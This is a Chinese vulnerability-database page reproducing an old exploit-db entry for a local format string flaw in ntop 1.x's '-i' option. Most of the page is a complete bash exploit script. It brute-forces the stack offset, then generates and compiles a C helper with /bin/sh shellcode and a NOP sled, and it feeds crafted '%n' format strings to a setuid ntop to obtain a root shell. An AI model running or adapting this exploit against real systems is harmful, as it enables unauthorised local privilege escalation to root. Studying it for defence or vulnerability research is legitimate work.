ntop 1.x – i Local Format String-安全小百科

ntop 1.x – i Local Format String

漏洞ID	1053467	漏洞类型
发布时间	2000-10-18	更新时间	2000-10-18
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Unix	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/20326

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/1840/info

ntop (network top) is a unix program used for displaying network usage statistics. It is often installed setuid root because it uses privileged ports. 

ntop is vulnerable to a format string vulnerability that can compromise root access locally. If present, the argument to the "-i" command-line option is passed directly to a *printf function without being checked. It is thus possible for an attacker insert format specifiers that will be interpreted by the *printf function. Malicious format specifiers can cause the function to overwrite memory locations on the program's stack with user supplied data. This can lead to execution of arbitrary code with the effective privileges of the process (if setuid root, superuser privs).


########################## ntopexpl.sh ##########################

#!/bin/bash

#	CONFIGURATION:
umask 000
target="/usr/sbin/ntop"
tmpdir="/tmp/"

#       address we want to write to (ret on the stack)
#       has to be an absolute address but we brute force
#		this scanning 64 addresses from writeadr on
writeadr="0xbffff000"

#	no. of addresses to scan
wrep=64

#       address of the shell in our string
#		must point somewhere to our 'nop' region
shadr="0xbffff320"

#	number of nops before shellcode
declare -i nnops
nnops=128


echo
echo "-------------------------------------------"
echo "|       ntop local r00t exploit           |"
echo "|              by IhaQueR                 |"
echo "|		only for demonstrative purposes		|"
echo "-------------------------------------------"
echo

echo
echo "configured for running $target"
echo "RETADR = $writeadr"
echo "SHELL  = $shadr"
echo "NOPS   = $nnops"
echo


#	fake shellcode
shellfake="SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"

#	number of nops before shellcode
declare -i nnops
nnops=128

#	make nop field
declare -i idx
idx=0

nfake=""

while test $idx -lt $nnops; do
	nfake="N$nfake"
	idx=$(($idx+1))
done;


#	sanity check :-)
if ! test -x $target ; then
	echo "[-] $target not found or not executable, sorry"
	exit 1
fi;

echo "[+] found $target"

declare -i cnt
declare -i cntmax
cnt=0
cntmax=1024


#	make string used for offset search
#	like <head><addr><nops><shellcode>
#	PP stands for padding
string="%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKKK${nfake}${shellfake}"

padding="PP"
declare -i npad
npad=2
gstring=""

#	find offset
echo "    now searching for offset"
echo

while test $cnt -le $cntmax ; do
	gstring="%16g$gstring"
	string="%16g$string"
	cnt=$(($cnt+1))
	result=$($target -i "$padding$string" 2>&1 | grep "44434241")
	echo -n "[$cnt] "
	if test "$result" != "" ; then
		break;
	fi;
done

#	found offset
declare -i offset
offset=$(($cnt * 4))

echo
echo

if test $cnt -gt $cntmax ; then
	echo "[-] offset not found, please tune padding :-)"
	exit 2
fi;

echo "[+] OFFSET found to be $offset/$cnt"

echo "    now constructing magic string"

#	number of bytes written so far
declare -i nwrt
nwrt=$((16*${cnt} + ${npad}))

#	bruteforce
echo "[+] string fileds prepared"
echo

cat <<__BRUTE__ >brute.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

//	used with <string> <numwritten> <nops>
main(int argc, char** argv)
{
unsigned char str[8192];
unsigned char buf[8192];
unsigned char nop[1024];
unsigned addr[9];
unsigned char head[33]="%0016d%x%0016d%x%0016d%x%0016d%x";

//		standard /bin/sh shell :-)
unsigned char hellcode[] =
"xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0f"
						
"xb8x1bx56x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcd"
   							"x80x33xc0x40xcdx80xe8xd7xffxffxff/bin/sh";

int i, flip, nbrute;
unsigned char* ptr;
unsigned shadr, rtadr, nwrt;
int dn;


//		construct string like <pad><eatstack><head><addr><nops><shell>

//		no. of attempts
		nbrute = $wrep;

//		addr
		rtadr = $writeadr;

		while(nbrute>0) {

			printf("[%4d] ", nbrute);
			fflush(stdout);
			fflush(stderr);

//		nops
			for(i=0; i<atol(argv[3]); i++)
				nop[i] = 0x90;
			nop[i] = 0;

//		head
			shadr = $shadr;

//		6 comes from "bind: "
			nwrt = atol(argv[2]) + 6;

			ptr = (unsigned char*)&shadr;

			for(i=0; i<4; i++) {
				flip = (((int)256) + ((int)ptr[i])) - ((int)(nwrt % 256));
				nwrt = nwrt + flip;
				sprintf(head+i*8, "%%%04dx%%n", flip);
			}

			head[32] = 0;

//		address field
			for(i=0; i<4; i++) {
				addr[2*i] = rtadr + i;
				addr[2*i+1] = rtadr + i;
			}

			addr[8] = 0;

			sprintf(str, "%s%s%s%s%s", argv[1], head, addr, nop, hellcode);
			sprintf(buf, "./ntop -i "%s"", str);

//		kabuum
			system(buf);

			nbrute--;
			rtadr += 4;
		}

return 0;
}
__BRUTE__

rm -rf brute
gcc brute.c -o brute

if ! test -x brute ; then
	echo "[-] compilation error, exiting"
	exit 2
fi;

echo "[+] bruteforce prog prepared"

echo "    now brute force"
echo

brute "$padding$gstring" ${nwrt} ${nnops}

echo ""
echo "[+] done"
echo ""

相关推荐: Corel Linux setxconf Vulnerability

Corel Linux setxconf Vulnerability 漏洞ID 1104369 漏洞类型 Input Validation Error 发布时间 2000-02-24 更新时间 2000-02-24 CVE编号 N/A CNNVD-ID N/A…

文章版权归作者所有，未经允许请勿转载。

THE END